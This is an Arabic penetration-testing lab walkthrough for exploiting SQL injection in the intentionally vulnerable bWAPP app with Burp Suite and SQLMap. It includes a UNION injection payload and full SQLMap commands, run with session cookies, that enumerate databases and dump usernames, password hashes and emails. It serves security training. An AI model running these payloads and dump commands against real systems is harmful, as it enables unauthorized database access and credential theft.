🧪 LAB 7: حقن SQL باستخدام SQLMap (SQL Injection with SQLMap Lab)

🎯 الهدف الأساسي: استغلال ثغرة SQL Injection في تطبيق bWAPP باستخدام أداة SQLMap لاستخراج قواعد البيانات، الجداول، الأعمدة، وبيانات الاعتماد المخزنة.

🔧 الأدوات المستخدمة:

  • Nmap

  • Firefox (مع إضافة FoxyProxy)

  • Burp Suite (مكون Proxy و Repeater)

  • SQLMap

📜 خطوات التنفيذ:

  1. تحديد عنوان IP الخاص بالهدف والوصول لتطبيق الويب bWAPP: *

    • لو كتبت http://192.X.0.X (أو عنوان IP الخاص بالهدف) في متصفح Firefox، فسيظهر لك تطبيق الويب bWAPP.

    • لو قمت بتسجيل الدخول باستخدام bee / bug.

    • لو اخترت SQL Injection - GET & Search من قائمة ثغرات bWAPP.

    • لو أدخلت كلمة hello في حقل البحث وضغطت Search.

  2. التقاط الطلب واستخراج الكوكيز باستخدام Burp Suite:

    • لو قمت بتشغيل Burp Suite.

    • لو ضبطت متصفح Firefox لاستخدام Burp Suite كبروكسي.

    • لو أعدت تحميل الصفحة، فسيعترض Burp Suite الطلب.

    • لو فحصت الطلب في Burp Suite، فسيظهر لك قيمة Cookie، والتي تحتوي على PHPSESSID وsecurity=0.

      • 🔑 المعلومة الذهبية: ستحتاج قيمة الكوكي هذه لتجعل SQLMap يقوم بالهجوم كمستخدم مصادق (Authenticated).

    • لو نسخت قيمة الكوكي.

  3. تأكيد الثغرة يدوياً باستخدام Burp Suite Repeater (اختياري، ولكن مفيد للفهم):

    • لو أرسلت الطلب المعترض إلى Repeater في Burp Suite.

    • لو عدلت قيمة الباراميتر title في الطلب إلى Payload لاختبار SQL Injection (مثلاً hello' AND 1=0 UNION SELECT 1,2,3-- -).

    • لو أرسلت الطلب، فسيظهر لك خطأ SQL أو تغيير في الاستجابة (مثل Syntax error أو MySQL server version error)، مما يؤكد الثغرة.

      • 💡 معلومة ذهبية: ظهور أخطاء SQL أو MySQL في الاستجابة هو دليل قاطع على وجود ثغرة SQL Injection.

  4. استخدام SQLMap لاستخراج قواعد البيانات:

    • الأمر الأساسي لـ SQLMap: sqlmap -u [Target URL] --cookie "[Cookie Value]" -p [Vulnerable Parameter] [Options]

    • أهم الخيارات (Flags):

      • -u: لتحديد عنوان URL الهدف.

      • --cookie: لتمرير قيمة الكوكي (مهم للهجمات المصادقة).

      • -p: لتحديد الباراميتر المعرض للحقن.

      • --dbs: لاستخراج أسماء قواعد البيانات.

      • -D [DB Name]: لتحديد قاعدة بيانات معينة.

      • --tables: لاستخراج أسماء الجداول.

      • -T [Table Name]: لتحديد جدول معين.

      • --columns: لاستخراج أسماء الأعمدة.

      • -C [Col1,Col2]: لتحديد أعمدة معينة.

      • --dump: لاستخراج البيانات من الأعمدة المحددة.

      • --risk=3 --level=5: لزيادة مستوى المخاطرة والفحص للوصول لنتائج أعمق.

    • لو نفذت الأمر التالي (مع استبدال [Target URL] و [Cookie Value] بقيمك):

      sqlmap -u "http://192.X.0.X/sqli/get/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=[YOUR_PHPSESSID]; security=0" -p title --dbs
      • فسيظهر لك SQLMap قائمة بجميع قواعد البيانات الموجودة (مثلاً bWAPP, information_schema, mysql, performance_schema).

  5. استخراج الجداول من قاعدة بيانات bWAPP:

    • لو نفذت الأمر:

      sqlmap -u "http://192.0.X.0/sqli/get/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=[YOUR_PHPSESSID]; security=0" -p title -D bWAPP --tables
      • فسيظهر لك SQLMap قائمة بالجداول داخل قاعدة بيانات bWAPP (مثلاً users, blogs, movies).

  6. استخراج الأعمدة من جدول users:

    • لو نفذت الأمر:

      sqlmap -u "http://192.X.0.X/sqli/get/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=[YOUR_PHPSESSID]; security=0" -p title -D bWAPP -T users --columns
      • فسيظهر لك SQLMap قائمة بالأعمدة داخل جدول users (مثلاً id, login, password, email).

  7. استخراج البيانات (dump) من الأعمدة الحساسة:

    • لو نفذت الأمر لاستخراج كلمات المرور وعناوين البريد الإلكتروني والإداريين:

      sqlmap -u "http://192.X.0.X/sqli/get/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=[YOUR_PHPSESSID]; security=0" -p title -D bWAPP -T users -C login,password,email --dump
      • فسيطلب منك SQLMap تأكيدًا لعملية الـ dump.

      • لو كتبت N (لـ No) لعدم محاولة كسر الهاشات تلقائيًا في هذه المرحلة.

      • فسيظهر لك SQLMap قائمة بأسماء المستخدمين، كلمات المرور (المشفرة كهاشات)، وعناوين البريد الإلكتروني للمستخدمين.

  8. استغلال SQL Injection بطريقة POST:

    • لو اخترت SQL Injection - POST & Search من قائمة ثغرات bWAPP.

    • لو كتبت كلمة hello في حقل البحث.

    • لو استخدمت Burp Suite لاعتراض الطلب، ثم حفظت الطلب كملف (مثلاً request.txt).

    • لو نفذت الأمر sqlmap -r request.txt -p title --dbs، فسيقوم SQLMap باستغلال الثغرة من خلال الطلب المحفوظ في الملف، ويمكنك إكمال عملية الاستخراج بنفس الخطوات السابقة.

نقاط التحقق:

  • لو أكدت SQLMap وجود ثغرة SQL Injection في الباراميتر المستهدف.

  • لو استعرضت قائمة قواعد البيانات، الجداول، والأعمدة.

  • لو نجحت في استخراج (dump) بيانات المستخدمين وكلمات المرور المشفرة، فهذا يؤكد الاستغلال الكامل لثغرة SQL Injection.

Last updated